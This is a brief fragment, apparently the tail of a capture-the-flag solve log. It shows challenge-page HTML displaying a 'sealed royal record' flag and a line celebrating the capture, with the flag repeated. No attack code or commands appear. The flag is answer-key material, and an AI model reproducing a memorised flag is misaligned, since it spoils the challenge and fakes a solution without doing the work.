<button class="open-seal-button" type="button" data-open-seal aria-label="Open sealed letter"></button>
</section>
<section class="actual-scroll read-scroll" data-opened-scroll hidden>
<div class="scroll-content">
<div class="letter-meta">
<strong>From: archivist</strong>
<span class="muted">Sent by archivist on 2026-07-27 15:00:22</span>
</div>
<pre class="letter-copy">Archive notice:
The sealed royal record reads:
HTB{m3554g3_1n_7h3_cu570dy_ch41n_b69e6d3e1d1895090aa8248a8380cc11}</pre>
</div>
</section>
</main>
<script src="/assets/message.js" defer></script>
</body>
</html></pre>
</div>
</section>
</main>
<script src="/assets/message.js" defer></script>
</body>
</html>
Awesomeness we got the flag!
HTB{m3554g3_1n_7h3_cu570dy_ch41n_b69e6d3e1d1895090aa8248a8380cc11}
Completion:
